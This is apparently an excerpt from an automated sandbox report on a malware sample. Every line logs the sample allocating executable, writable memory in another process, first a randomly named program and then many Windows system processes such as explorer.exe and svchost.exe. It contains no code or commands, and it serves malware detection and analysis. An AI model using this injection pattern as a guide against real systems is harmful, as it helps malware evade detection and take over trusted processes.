      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 820000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 830000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 920000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 930000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1150000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1160000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 6F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 700000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 420000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 430000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 14F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1500000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 170000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 180000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1170000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1180000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 760000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 770000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 990000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F10000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 11B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 11C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: DA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: DB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 730000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 740000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 780000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 790000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 890000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 8A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 910000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1000000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 2E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 860000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 430000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 580000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 3270000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 130000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 410000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 680000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: B70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 300000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 550000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 920000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1010000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 2F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D10000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 870000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 440000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 590000 protect: page execute and read and writeJump to behavior
